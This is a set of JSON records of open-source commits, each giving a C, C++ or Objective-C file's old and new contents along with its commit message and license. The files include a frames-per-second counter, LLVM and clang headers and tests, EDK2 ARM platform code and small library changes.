{"commit":"c7f3302ed936837192f56accc0ad69e7504782a6","old_file":"src\/libgfx\/fps.h","new_file":"src\/libgfx\/fps.h","old_contents":"","new_contents":"#ifndef GFX_FPS_H\n#define GFX_FPS_H\n\n#include <chrono>\n\nnamespace GFX {\n\n  class FramesPerSecond\n  {\n    public:\n      FramesPerSecond() : m_millisecs(0.0), m_frames(0)\n      {\n      }\n\n      void startRender()\n      {\n        m_start = std::chrono::high_resolution_clock::now();\n      }\n\n      void stopRender()\n      {\n        std::chrono::time_point<std::chrono::high_resolution_clock> stop = std::chrono::high_resolution_clock::now();\n        ++m_frames;\n        std::cout << \"# millisecs: \" << std::chrono::duration_cast<std::chrono::milliseconds>(stop - m_start).count() << std::endl;\n        m_millisecs += std::chrono::duration_cast<std::chrono::milliseconds>(stop - m_start).count();\n      }\n\n      double fps() const\n      {\n        return 1000.0 * m_frames \/ m_millisecs;\n      }\n\n    private:\n      std::chrono::time_point<std::chrono::high_resolution_clock> m_start;\n      double m_millisecs;\n      int m_frames;\n  };\n\n}\n\n#endif\n","subject":"Add frames per second counter..","message":"Add frames per second counter..\n","lang":"C","license":"bsd-3-clause","repos":"timvdm\/ComputerGraphics,timvdm\/ComputerGraphics,timvdm\/ComputerGraphics"}
{"commit":"429a4f4ccd8614679a2ec304bf8065c4944adfab","old_file":"conceitos\/basicos\/gerais\/0x07_loops\/do_while\/example_do_while.c","new_file":"conceitos\/basicos\/gerais\/0x07_loops\/do_while\/example_do_while.c","old_contents":"","new_contents":"\/*\n * Author: Jhonatan Casale (jhc)\n *\n * Contact : jhonatan@jhonatancasale.com\n *         : casale.jhon@gmail.com\n *         : https:\/\/github.com\/jhonatancasale\n *         : https:\/\/twitter.com\/jhonatancasale\n *         : http:\/\/jhonatancasale.github.io\/\n *\n * Create date Wed  1 Mar 02:02:10 BRT 2017\n *\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\nint main (int argc, char **argv)\n{\n  int value = 0;\n\n  do {\n    printf (\"Choose one:\\n\");\n    printf (\"[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]: \");\n    scanf(\"%i\", &value);\n  } while ( value <= 0 || value > 10 );\n\n  int i = 0;\n  do printf (\"%i\\n\", i);\n\n  while ( ++i < value );\n\n  return (EXIT_SUCCESS);\n}\n","subject":"Add do while loop examples, really","message":"Add do while loop examples, really\n","lang":"C","license":"apache-2.0","repos":"jhonatancasale\/learning-c,klaussjhc\/learning-c,jhonatancasale\/learning-c"}
{"commit":"0aaead5e49315267cd6785ec64d5b5884ae123c2","old_file":"libyaul\/scu\/bus\/b\/vdp\/vdp1.h","new_file":"libyaul\/scu\/bus\/b\/vdp\/vdp1.h","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _VDP1_H_\n#define _VDP1_H_\n\n#include <vdp1\/cmdt.h>\n#include <vdp1\/env.h>\n#include <vdp1\/map.h>\n#include <vdp1\/vram.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* !_VDP1_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _VDP1_H_\n#define _VDP1_H_\n\n#include <vdp1\/cmdt.h>\n#include <vdp1\/env.h>\n#include <vdp1\/map.h>\n#include <vdp1\/vram.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\nstruct vdp1_transfer_status {\n        union {\n                struct {\n                        unsigned :14;\n                        unsigned vte_cef:1;\n                        unsigned vte_bef:1;\n                } __packed;\n\n                uint16_t raw;\n        };\n} __packed __aligned(2);\n\n        struct vdp1_mode_status {\n                union {\n                        struct {\n                                unsigned vms_version:4;\n                                unsigned :3;\n                                unsigned vms_ptm1:1;\n                                unsigned vms_eos:1;\n                                unsigned vms_die:1;\n                                unsigned vms_dil:1;\n                                unsigned vms_fcm:1;\n                                unsigned vms_vbe:1;\n                                unsigned vms_tvm:3;\n                        } __packed;\n\n                        uint16_t raw;\n                };\n} __packed __aligned(2);\n\nstatic inline void __attribute__ ((always_inline))\nvdp1_mode_status_get(struct vdp1_mode_status *status)\n{\n        \/* If the structure isn't aligned on a 2-byte boundary, GCC will\n         * attempt to invoke memcpy() *\/\n        *status = *(volatile struct vdp1_mode_status *)VDP1(MODR);\n}\n\nstatic inline void __attribute__ ((always_inline))\nvdp1_transfer_status_get(struct vdp1_transfer_status *status)\n{\n        \/* If the structure isn't aligned on a 2-byte boundary, GCC will\n         * attempt to invoke memcpy() *\/\n        *status = *(volatile struct vdp1_transfer_status *)VDP1(EDSR);\n}\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* !_VDP1_H_ *\/\n","subject":"Add VDP1 status getters for transfer end and mode status","message":"Add VDP1 status getters for transfer end and mode status\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"952171538ce7d5d76dabf8191e15b9ca9c9d958a","old_file":"Source\/DSLogger.h","new_file":"Source\/DSLogger.h","old_contents":"\/\/\n\/\/  DSLogger.h\n\/\/  ControlPlane\n\/\/\n\/\/  Created by David Symonds on 22\/07\/07.\n\/\/  Modified by Vladimir Beloborodov on 01 Apr 2013.\n\/\/\n\n\n@interface DSLogger : NSObject\n\n+ (void)initialize;\n\n+ (DSLogger *)sharedLogger;\n+ (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;\n\n- (id)init;\n- (void)dealloc;\n\n- (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;\n- (NSString *)buffer;\n\n#define DSLog(format, ...)\t\\\n\t[DSLogger logFromFunction:[NSString stringWithUTF8String:__PRETTY_FUNCTION__] withInfo:[NSString stringWithFormat:(format),##__VA_ARGS__]]\n\n@end\n","new_contents":"\/\/\n\/\/  DSLogger.h\n\/\/  ControlPlane\n\/\/\n\/\/  Created by David Symonds on 22\/07\/07.\n\/\/  Modified by Vladimir Beloborodov on 01 Apr 2013.\n\/\/\n\n\n@interface DSLogger : NSObject\n\n+ (void)initialize;\n\n+ (DSLogger *)sharedLogger;\n+ (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;\n\n- (id)init;\n- (void)dealloc;\n\n- (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info;\n- (NSString *)buffer;\n\n#define DSLog(...)\t\\\n\t[DSLogger logFromFunction:@(__PRETTY_FUNCTION__) withInfo:[NSString stringWithFormat:__VA_ARGS__]]\n\n@end\n","subject":"Simplify and improve definition of DSLog macro","message":"Simplify and improve definition of DSLog macro\n","lang":"C","license":"bsd-3-clause","repos":"ajostergaard\/ControlPlane,ajostergaard\/ControlPlane,ajostergaard\/ControlPlane,ajostergaard\/ControlPlane"}
{"commit":"062bc13039462e6f3f9baaea835ff9b863a18daf","old_file":"include\/cprtypes.h","new_file":"include\/cprtypes.h","old_contents":"#ifndef CPR_TYPES_H\n#define CPR_TYPES_H\n\n#include <map>\n#include <string>\n\nnamespace cpr {\n\n    class CaseInsenstiveCompare {\n      public:\n        bool operator()(const std::string& a, const std::string& b) const;\n\n      private:\n        static void char_to_lower(char& c);\n        static std::string to_lower(const std::string& a);\n    };\n\n    typedef std::map<std::string, std::string, CaseInsenstiveCompare> Header;\n    typedef std::string Url;\n\n}\n\n#endif\n","new_contents":"#ifndef CPR_TYPES_H\n#define CPR_TYPES_H\n\n#include <map>\n#include <string>\n\nnamespace cpr {\n\n    class CaseInsenstiveCompare {\n      public:\n        bool operator()(const std::string& a, const std::string& b) const;\n\n      private:\n        static void char_to_lower(char& c);\n        static std::string to_lower(const std::string& a);\n    };\n\n    using Header = std::map<std::string, std::string, CaseInsenstiveCompare>;\n    using Url = std::string;\n\n}\n\n#endif\n","subject":"Use C++11 `using` instead of `typedef`","message":"Use C++11 `using` instead of `typedef`","lang":"C","license":"mit","repos":"skystrife\/cpr,msuvajac\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,skystrife\/cpr,msuvajac\/cpr,whoshuu\/cpr,whoshuu\/cpr,msuvajac\/cpr,skystrife\/cpr,SuperV1234\/cpr,whoshuu\/cpr"}
{"commit":"4659f32c7023d6c92874e284d3c031418d634728","old_file":"t\/04-nativecall\/01-argless.c","new_file":"t\/04-nativecall\/01-argless.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n#ifdef WIN32\n#define DLLEXPORT __declspec(dllexport)\n#else\n#define DLLEXPORT extern\n#endif\n\nDLLEXPORT Nothing()\n{\n    \/* we don't even print something *\/\n}\n\nDLLEXPORT int Argless()\n{\n    return 2;\n}\n\nDLLEXPORT int long_and_complicated_name()\n{\n    return 3;\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\n#ifdef WIN32\n#define DLLEXPORT __declspec(dllexport)\n#else\n#define DLLEXPORT extern\n#endif\n\nDLLEXPORT void Nothing()\n{\n    \/* we don't even print something *\/\n}\n\nDLLEXPORT int Argless()\n{\n    return 2;\n}\n\nDLLEXPORT int long_and_complicated_name()\n{\n    return 3;\n}\n","subject":"Fix compiler warnings on OS X \/ JVM backend","message":"Fix compiler warnings on OS X \/ JVM backend\n","lang":"C","license":"artistic-2.0","repos":"Leont\/rakudo,softmoth\/rakudo,salortiz\/rakudo,skids\/rakudo,dankogai\/rakudo,laben\/rakudo,ugexe\/rakudo,ungrim97\/rakudo,labster\/rakudo,tony-o\/deb-rakudodaily,salortiz\/rakudo,usev6\/rakudo,salortiz\/rakudo,tony-o\/deb-rakudodaily,teodozjan\/rakudo,nbrown\/rakudo,rakudo\/rakudo,ungrim97\/rakudo,MasterDuke17\/rakudo,awwaiid\/rakudo,zostay\/rakudo,tony-o\/rakudo,labster\/rakudo,nunorc\/rakudo,usev6\/rakudo,b2gills\/rakudo,jonathanstowe\/rakudo,salortiz\/rakudo,samcv\/rakudo,sjn\/rakudo,tbrowder\/rakudo,zostay\/rakudo,softmoth\/rakudo,jonathanstowe\/rakudo,lucasbuchala\/rakudo,Gnouc\/rakudo,ab5tract\/rakudo,dankogai\/rakudo,ugexe\/rakudo,b2gills\/rakudo,cognominal\/rakudo,skids\/rakudo,tony-o\/deb-rakudodaily,cygx\/rakudo,zostay\/rakudo,tony-o\/rakudo,LLFourn\/rakudo,zhuomingliang\/rakudo,cognominal\/rakudo,ab5tract\/rakudo,tony-o\/deb-rakudodaily,sergot\/rakudo,tony-o\/rakudo,MasterDuke17\/rakudo,lucasbuchala\/rakudo,tony-o\/deb-rakudodaily,labster\/rakudo,rakudo\/rakudo,raydiak\/rakudo,raydiak\/rakudo,cygx\/rakudo,nbrown\/rakudo,lucasbuchala\/rakudo,azawawi\/rakudo,nbrown\/rakudo,azawawi\/rakudo,Gnouc\/rakudo,skids\/rakudo,samcv\/rakudo,paultcochrane\/rakudo,awwaiid\/rakudo,LLFourn\/rakudo,usev6\/rakudo,ugexe\/rakudo,skids\/rakudo,samcv\/rakudo,jonathanstowe\/rakudo,paultcochrane\/rakudo,niner\/rakudo,b2gills\/rakudo,laben\/rakudo,nbrown\/rakudo,ugexe\/rakudo,cognominal\/rakudo,sjn\/rakudo,laben\/rakudo,samcv\/rakudo,ugexe\/rakudo,raydiak\/rakudo,LLFourn\/rakudo,paultcochrane\/rakudo,laben\/rakudo,cygx\/rakudo,raydiak\/rakudo,sergot\/rakudo,ab5tract\/rakudo,azawawi\/rakudo,paultcochrane\/rakudo,tbrowder\/rakudo,tbrowder\/rakudo,nunorc\/rakudo,awwaiid\/rakudo,rakudo\/rakudo,ab5tract\/rakudo,usev6\/rakudo,labster\/rakudo,tony-o\/deb-rakudodaily,softmoth\/rakudo,tony-o\/rakudo,teodozjan\/rakudo,niner\/rakudo,nunorc\/rakudo,zhuomingliang\/rakudo,cygx\/rakudo,Gnouc\/rakudo,azawawi\/rakudo,usev6\/rakudo,softmoth\/rakudo,Gnouc\/rakudo,dankogai\/rakudo,sergot\/rakudo,Gnouc\/rakudo,salortiz\/rakudo,ab5tract\/rakudo,zhuomingliang\/rakudo,awwaiid\/rakudo,b2gills\/rakudo,tony-o\/rakudo,sjn\/rakudo,labster\/rakudo,Gnouc\/rakudo,samcv\/rakudo,rakudo\/rakudo,ungrim97\/rakudo,LLFourn\/rakudo,ungrim97\/rakudo,rakudo\/rakudo,tbrowder\/rakudo,tbrowder\/rakudo,awwaiid\/rakudo,Leont\/rakudo,tony-o\/rakudo,MasterDuke17\/rakudo,cognominal\/rakudo,azawawi\/rakudo,tbrowder\/rakudo,dankogai\/rakudo,MasterDuke17\/rakudo,softmoth\/rakudo,labster\/rakudo,nbrown\/rakudo,Leont\/rakudo,lucasbuchala\/rakudo,cygx\/rakudo,b2gills\/rakudo,salortiz\/rakudo,sjn\/rakudo,cognominal\/rakudo,MasterDuke17\/rakudo,tony-o\/deb-rakudodaily,nunorc\/rakudo,paultcochrane\/rakudo,nbrown\/rakudo,MasterDuke17\/rakudo,sergot\/rakudo,Leont\/rakudo,jonathanstowe\/rakudo,zhuomingliang\/rakudo,niner\/rakudo,skids\/rakudo,ungrim97\/rakudo,teodozjan\/rakudo,teodozjan\/rakudo,LLFourn\/rakudo,rakudo\/rakudo,lucasbuchala\/rakudo,dankogai\/rakudo,zostay\/rakudo,sjn\/rakudo,jonathanstowe\/rakudo,niner\/rakudo"}
{"commit":"0afe6ff5d9626a553163739011c10c68d0a862aa","old_file":"arc\/arc\/Model\/FileObject.h","new_file":"arc\/arc\/Model\/FileObject.h","old_contents":"\/\/\n\/\/  FileObject.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface FileObject : NSObject {\n    @private\n    NSURL* _url;\n}\n\n\/\/ The name of this object.\n@property (strong, nonatomic) NSString* name;\n\n\/\/ The full file path of this object.\n@property (strong, nonatomic) NSString* path;\n\n\/\/ The parent of this object (if any.)\n@property (weak, nonatomic) FileObject* parent;\n\n\/\/ The contents of this object.\n@property id contents;\n\n\/\/ Creates a FileObject to represent the given URL.\n\/\/ url should be an object on the file system.\n- (id)initWithURL:(NSURL*)url;\n\n\/\/ Creates a FileObject to represent the given URL,\n\/\/ with its parent set to the given FileObject.\n- (id)initWithURL:(NSURL*)url parent:(FileObject*)parent;\n\n\/\/ Refreshes the contents of this object by reloading\n\/\/ them from the file system.\n\/\/ Returns the contents when done.\n- (id)refreshContents;\n\n\/\/ Removes this object from the file system.\n- (void)remove;\n\n@end\n","new_contents":"\/\/\n\/\/  FileObject.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 19\/3\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface FileObject : NSObject {\n    @private\n    NSURL* _url;\n    id _contents;\n}\n\n\/\/ The name of this object.\n@property (strong, nonatomic) NSString* name;\n\n\/\/ The full file path of this object.\n@property (strong, nonatomic) NSString* path;\n\n\/\/ The parent of this object (if any.)\n@property (weak, nonatomic) FileObject* parent;\n\n\/\/ Creates a FileObject to represent the given URL.\n\/\/ url should be an object on the file system.\n- (id)initWithURL:(NSURL*)url;\n\n\/\/ Creates a FileObject to represent the given URL,\n\/\/ with its parent set to the given FileObject.\n- (id)initWithURL:(NSURL*)url parent:(FileObject*)parent;\n\n\/\/ Refreshes the contents of this object by reloading\n\/\/ them from the file system.\n\/\/ Returns the contents when done.\n- (id)refreshContents;\n\n\/\/ Gets the contents of this object.\n- (id)getContents;\n\n\/\/ Removes this object from the file system.\n- (void)remove;\n\n@end\n","subject":"Replace contents property with private array and getter.","message":"Replace contents property with private array and getter.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"9e528bef6f5e4094e9fc497e1be3607341df7b01","old_file":"util\/ncgg\/main.c","new_file":"util\/ncgg\/main.c","old_contents":"#ifndef NORCSID\nstatic char rcsid[]= \"$Header$\";\n#endif\n\n#include <stdio.h>\n\nchar *filename;\n\nmain(argc,argv) char **argv; {\n\textern int nerrors;\n\textern int code_in_c;\n\textern int tabledebug;\n\textern int verbose;\n\n\twhile (argc >1 && argv[1][0]=='-') {\n\t\tswitch(argv[1][1]) {\n\t\tcase 'c':\n\t\t\tcode_in_c = 0;\n\t\t\tbreak;\n\t\tcase 'd':\n\t\t\ttabledebug++;\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tverbose++;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\terror(\"Unknown flag -%c\",argv[1][1]);\n\t\t}\n\t\targc--; argv++;\n\t}\n\tif (argc==2) {\n\t\tif (freopen(argv[1],\"r\",stdin)==NULL) {\n\t\t\terror(\"Can't open %s\",argv[1]);\n\t\t\texit(-1);\n\t\t}\n\t\tfilename = argv[1];\n\t} else\n\t\terror(\"Usage: %s [-c] [-d] [-v] table\",argv[0]);\n\tinitemhash();\n\tenterkeyw();\n\tinitnodes();\n\tinitio();\n\tyyparse();\n\tif (nerrors==0) {\n\t\tfinishio();\n\t\tstatistics();\n\t\tif (verbose)\n\t\t\thallverbose();\n\t} else {\n\t\terrorexit();\n\t}\n\treturn(nerrors==0 ? 0 : -1);\n}\n","new_contents":"#ifndef NORCSID\nstatic char rcsid[]= \"$Header$\";\n#endif\n\n#include <stdio.h>\n\nchar *filename;\n\nmain(argc,argv) char **argv; {\n\textern int nerrors;\n\textern int code_in_c;\n\textern int tabledebug;\n\textern int verbose;\n\n\twhile (argc >1 && argv[1][0]=='-') {\n\t\tswitch(argv[1][1]) {\n\t\tcase 'c':\n\t\t\tcode_in_c = 0;\n\t\t\tbreak;\n\t\tcase 'd':\n\t\t\ttabledebug++;\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tverbose++;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\terror(\"Unknown flag -%c\",argv[1][1]);\n\t\t}\n\t\targc--; argv++;\n\t}\n\tif (argc==2) {\n\t\tif (freopen(argv[1],\"r\",stdin)==NULL) {\n\t\t\terror(\"Can't open %s\",argv[1]);\n\t\t\texit(-1);\n\t\t}\n\t\tfilename = argv[1];\n\t}\n\telse if (argc == 1) {\n\t\tfilename = \"\";\n\t} else\n\t\terror(\"Usage: %s [-c] [-d] [-v] [table]\",argv[0]);\n\tinitemhash();\n\tenterkeyw();\n\tinitnodes();\n\tinitio();\n\tyyparse();\n\tif (nerrors==0) {\n\t\tfinishio();\n\t\tstatistics();\n\t\tif (verbose)\n\t\t\thallverbose();\n\t} else {\n\t\terrorexit();\n\t}\n\treturn(nerrors==0 ? 0 : -1);\n}\n","subject":"Allow reading from standard input","message":"Allow reading from standard input\n","lang":"C","license":"bsd-3-clause","repos":"Godzil\/ack,Godzil\/ack,Godzil\/ack,Godzil\/ack,Godzil\/ack"}
{"commit":"c8ece79ccd6542c4a522092c02e456edc17b2355","old_file":"ArmPlatformPkg\/ArmRealViewEbPkg\/Library\/ArmRealViewEbLibRTSM\/ArmRealViewEbSec.c","new_file":"ArmPlatformPkg\/ArmRealViewEbPkg\/Library\/ArmRealViewEbLibRTSM\/ArmRealViewEbSec.c","old_contents":"","new_contents":"\/** @file\n*\n*  Copyright (c) 2011, ARM Limited. All rights reserved.\n*  \n*  This program and the accompanying materials                          \n*  are licensed and made available under the terms and conditions of the BSD License         \n*  which accompanies this distribution.  The full text of the license may be found at        \n*  http:\/\/opensource.org\/licenses\/bsd-license.php                                            \n*\n*  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \n*  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \n*\n**\/\n\n#include <Library\/IoLib.h>\n#include <Library\/ArmPlatformLib.h>\n#include <Library\/DebugLib.h>\n#include <Library\/PcdLib.h>\n\n#include <Drivers\/PL341Dmc.h>\n#include <Drivers\/SP804Timer.h>\n\n#include <ArmPlatform.h>\n\n\/**\n  Initialize the Secure peripherals and memory regions\n\n  If Trustzone is supported by your platform then this function makes the required initialization\n  of the secure peripherals and memory regions.\n\n**\/\nVOID\nArmPlatformTrustzoneInit (\n  VOID\n  )\n{\n  \/\/ASSERT(FALSE);\n  DEBUG((EFI_D_ERROR,\"Initialize Trustzone Hardware\\n\"));\n}\n\n\/**\n  Initialize controllers that must setup at the early stage\n\n  Some peripherals must be initialized in Secure World.\n  For example, some L2x0 requires to be initialized in Secure World\n\n**\/\nVOID\nArmPlatformSecInitialize (\n  VOID\n  ) {\n  \/\/ Do nothing yet\n}\n\n\/**\n  Call before jumping to Normal World\n\n  This function allows the firmware platform to do extra actions before\n  jumping to the Normal World\n\n**\/\nVOID\nArmPlatformSecExtraAction (\n  IN  UINTN         CoreId,\n  OUT UINTN*        JumpAddress\n  )\n{\n  *JumpAddress = PcdGet32(PcdNormalFvBaseAddress);\n}\n","subject":"Fix ARM RealView EB and VE builds (2)","message":"ArmPlatformPkg: Fix ARM RealView EB and VE builds (2)\n\nThis file is missing from the earlier commit (ArmPlatformPkg: Fix ARM RealView EB and VE builds).\n\n\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@12235 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"c360775fb7ed8352ca26f08c0270d21a6cb19e7f","old_file":"test\/Analysis\/malloc.c","new_file":"test\/Analysis\/malloc.c","old_contents":"\/\/ RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s\n#include <stdlib.h>\n\nvoid f1() {\n  int *p = malloc(10);\n  return; \/\/ expected-warning{{Allocated memory never released. Potential memory leak.}}\n}\n\n\/\/ THIS TEST CURRENTLY FAILS.\nvoid f1_b() {\n  int *p = malloc(10);\n}\n\nvoid f2() {\n  int *p = malloc(10);\n  free(p);\n  free(p); \/\/ expected-warning{{Try to free a memory block that has been released}}\n}\n\n\/\/ This case tests that storing malloc'ed memory to a static variable which is then returned\n\/\/ is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,\n\/\/ this is a conservative answer.\nint *f3() {\n  static int *p = 0;\n  p = malloc(10); \/\/ no-warning\n  return p;\n}\n\n\/\/ This case tests that storing malloc'ed memory to a static global variable which is then returned\n\/\/ is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,\n\/\/ this is a conservative answer.\nstatic int *p_f4 = 0;\nint *f4() {\n  p_f4 = malloc(10); \/\/ no-warning\n  return p_f4;\n}\n","new_contents":"\/\/ RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s\ntypedef long unsigned int size_t;\nvoid *malloc(size_t);\nvoid free(void *);\n\nvoid f1() {\n  int *p = malloc(10);\n  return; \/\/ expected-warning{{Allocated memory never released. Potential memory leak.}}\n}\n\n\/\/ THIS TEST CURRENTLY FAILS.\nvoid f1_b() {\n  int *p = malloc(10);\n}\n\nvoid f2() {\n  int *p = malloc(10);\n  free(p);\n  free(p); \/\/ expected-warning{{Try to free a memory block that has been released}}\n}\n\n\/\/ This case tests that storing malloc'ed memory to a static variable which is then returned\n\/\/ is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,\n\/\/ this is a conservative answer.\nint *f3() {\n  static int *p = 0;\n  p = malloc(10); \/\/ no-warning\n  return p;\n}\n\n\/\/ This case tests that storing malloc'ed memory to a static global variable which is then returned\n\/\/ is not leaked.  In the absence of known contracts for functions or inter-procedural analysis,\n\/\/ this is a conservative answer.\nstatic int *p_f4 = 0;\nint *f4() {\n  p_f4 = malloc(10); \/\/ no-warning\n  return p_f4;\n}\n","subject":"Remove test case's dependency on header file.","message":"Remove test case's dependency on header file.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@88685 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"a0323adc1a9714c7889137413f7d59b41bfe1665","old_file":"Classes\/AXKCollectionViewTools.h","new_file":"Classes\/AXKCollectionViewTools.h","old_contents":"\/\/\n\/\/  AXKCollectionViewTools.h\n\/\/  Alexander Kolov\n\/\/\n\/\/  Created by Alexander Kolov on 30\/10\/13.\n\/\/  Copyright (c) 2013 Alexander Kolov. All rights reserved.\n\/\/\n\n#import \"UICollectionReusableView+ReuseIdentifier.h\"\n#import \"UICollectionViewCell+IndexPath.h\"\n#import \"UICollectionViewCell+ReuseIdentifier.h\"\n#import \"UITableViewCell+IndexPath.h\"\n#import \"UITableViewCell+ReuseIdentifier.h\"\n","new_contents":"\/\/\n\/\/  AXKCollectionViewTools.h\n\/\/  Alexander Kolov\n\/\/\n\/\/  Created by Alexander Kolov on 30\/10\/13.\n\/\/  Copyright (c) 2013 Alexander Kolov. All rights reserved.\n\/\/\n\n#import \"UICollectionReusableView+ReuseIdentifier.h\"\n#import \"UICollectionViewCell+IndexPath.h\"\n#import \"UICollectionViewCell+ReuseIdentifier.h\"\n#import \"UITableViewCell+IndexPath.h\"\n#import \"UITableViewCell+ReuseIdentifier.h\"\n#import \"UITableViewHeaderFooterView+ReuseIdentifier.h\"\n","subject":"Add files to the master header","message":"Add files to the master header\n","lang":"C","license":"mit","repos":"akolov\/AXKCollectionViewTools"}
{"commit":"1416089f44fab6fa35e3523aed3408ee30457a7f","old_file":"include\/llvm\/Bytecode\/Reader.h","new_file":"include\/llvm\/Bytecode\/Reader.h","old_contents":"\/\/===-- llvm\/Bytecode\/Reader.h - Reader for VM bytecode files ----*- C++ -*--=\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/BytecodeReader library.\n\/\/ This library is used to read VM bytecode files from an iostream.\n\/\/\n\/\/ Note that performance of this library is _crucial_ for performance of the\n\/\/ JIT type applications, so we have designed the bytecode format to support\n\/\/ quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_READER_H\n#define LLVM_BYTECODE_READER_H\n\n#include <string>\n\nclass Module;\n\n\/\/ Parse and return a class...\n\/\/\nModule *ParseBytecodeFile(const std::string &Filename,\n                          std::string *ErrorStr = 0);\nModule *ParseBytecodeBuffer(const char *Buffer, unsigned BufferSize,\n                            std::string *ErrorStr = 0);\n\n#endif\n","new_contents":"\/\/===-- llvm\/Bytecode\/Reader.h - Reader for VM bytecode files ----*- C++ -*--=\/\/\n\/\/\n\/\/ This functionality is implemented by the lib\/BytecodeReader library.\n\/\/ This library is used to read VM bytecode files from an iostream.\n\/\/\n\/\/ Note that performance of this library is _crucial_ for performance of the\n\/\/ JIT type applications, so we have designed the bytecode format to support\n\/\/ quick reading.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_BYTECODE_READER_H\n#define LLVM_BYTECODE_READER_H\n\n#include <string>\n\nclass Module;\n\n\/\/ Parse and return a class...\n\/\/\nModule *ParseBytecodeFile(const std::string &Filename,\n                          std::string *ErrorStr = 0);\nModule *ParseBytecodeBuffer(const char *Buffer, unsigned BufferSize);\n\n#endif\n","subject":"Fix prototype to make function.","message":"Fix prototype to make function.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@2939 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap"}
